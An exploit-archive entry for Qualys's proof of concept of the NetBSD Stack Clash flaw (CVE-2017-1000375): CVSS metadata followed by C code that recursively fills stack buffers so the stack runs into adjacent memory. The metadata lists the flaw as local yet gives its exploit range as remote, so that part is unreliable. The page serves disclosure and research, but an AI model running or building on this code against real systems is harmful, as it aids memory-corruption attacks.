NetBSD Stack Clash Proof of Concept

2017.06.29
Credit: Qualys
Risk: Medium
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/* * NetBSD_CVE-2017-1000375.c (please compile with -O0) * Copyright (C) 2017 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/resource.h> #include <sys/time.h> #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static void smash_no_jump(const size_t smash_size) { char buf[1024]; memset(buf, 'A', sizeof(buf)); if (smash_size > sizeof(buf)) smash_no_jump(smash_size - sizeof(buf)); } int main(const int argc, const char * const argv[]) { static const struct rlimit core; if (setrlimit(RLIMIT_CORE, &core)) die(); if (argc != 2) die(); const size_t smash_size = strtoul(argv[1], NULL, 0); if (smash_size <= 0 || smash_size >= SSIZE_MAX) die(); smash_no_jump(smash_size); exit(EXIT_SUCCESS); }


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